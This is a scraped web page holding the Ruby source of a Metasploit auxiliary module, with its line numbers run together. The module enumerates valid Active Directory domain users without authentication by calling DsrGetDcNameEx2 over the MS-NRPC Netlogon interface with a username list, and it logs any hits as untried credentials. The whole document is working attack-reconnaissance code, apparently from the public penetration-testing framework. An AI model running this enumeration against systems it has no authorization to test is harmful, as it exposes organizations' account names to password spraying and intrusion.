Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::Scanner8include Msf::Exploit::Remote::DCERPC9Netlogon = RubySMB::Dcerpc::Netlogon10@dport = nil1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MS-NRPC Domain Users Enumeration',17'Description' => %q{18This module will enumerate valid Domain Users via no authentication against MS-NRPC interface.19It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with20Windows servers 2012, 2016, 2019 and 2022.21},22'Author' => [23'Haidar Kabibo <https://x.com/haider_kabibo>'24],25'References' => [26['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf']27],28'License' => MSF_LICENSE,29'Notes' => {30'Stability' => [CRASH_SAFE],31'Reliability' => [],32'SideEffects' => []33}34)35)36register_options(37[38OptPort.new('RPORT', [false, 'The netlogon RPC port']),39OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate']),40OptBool.new('DB_ALL_USERS', [ false, 'Add all enumerated usernames to the database', false ])41]42)43end4445def bind_to_netlogon_service46@dport = datastore['RPORT']47if @dport.nil? || @dport == 048@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')49fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport50end51handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])52print_status("Binding to #{handle}...")53dcerpc_bind(handle)54end5556def dsr_get_dc_name_ex2(username)57request = Netlogon.const_get('DsrGetDcNameEx2Request').new(58computer_name: nil,59account_name: username,60allowable_account_control_bits: 0x200,61domain_name: nil,62domain_guid: nil,63site_name: nil,64flags: 0x0000000065)66begin67raw_response = dcerpc.call(request.opnum, request.to_binary_s)68rescue Rex::Proto::DCERPC::Exceptions::Fault69fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}")70end71Netlogon.const_get('DsrGetDcNameEx2Response').read(raw_response)72end7374def report_username(domain, username)75service_data = {76address: datastore['RHOST'],77port: @dport,78service_name: 'netlogon',79protocol: 'tcp',80workspace_id: myworkspace_id81}8283credential_data = {84origin_type: :service,85module_fullname: fullname,86username: username,87realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,88realm_value: domain89}.merge(service_data)9091login_data = {92core: create_credential(credential_data),93status: Metasploit::Model::Login::Status::UNTRIED94}.merge(service_data)9596create_credential_login(login_data)97end9899def run_host(_ip)100usernames = load_usernames(datastore['USER_FILE'])101bind_to_netlogon_service102103usernames.each do |username|104enumerate_user(username)105end106end107108private109110def load_usernames(file_path)111unless ::File.exist?(file_path)112fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist')113end114115usernames = []116::File.foreach(file_path) do |line|117usernames << line.strip118end119usernames120end121122def enumerate_user(username)123response = dsr_get_dc_name_ex2(username)124if response.error_status == 0125print_good("#{username} exists -> DC: #{response.domain_controller_info.domain_controller_name.encode('UTF-8')}")126if datastore['DB_ALL_USERS']127report_username(response.domain_controller_info.domain_name.encode('UTF-8'), username)128end129else130print_error("#{username} does not exist")131end132end133end134135136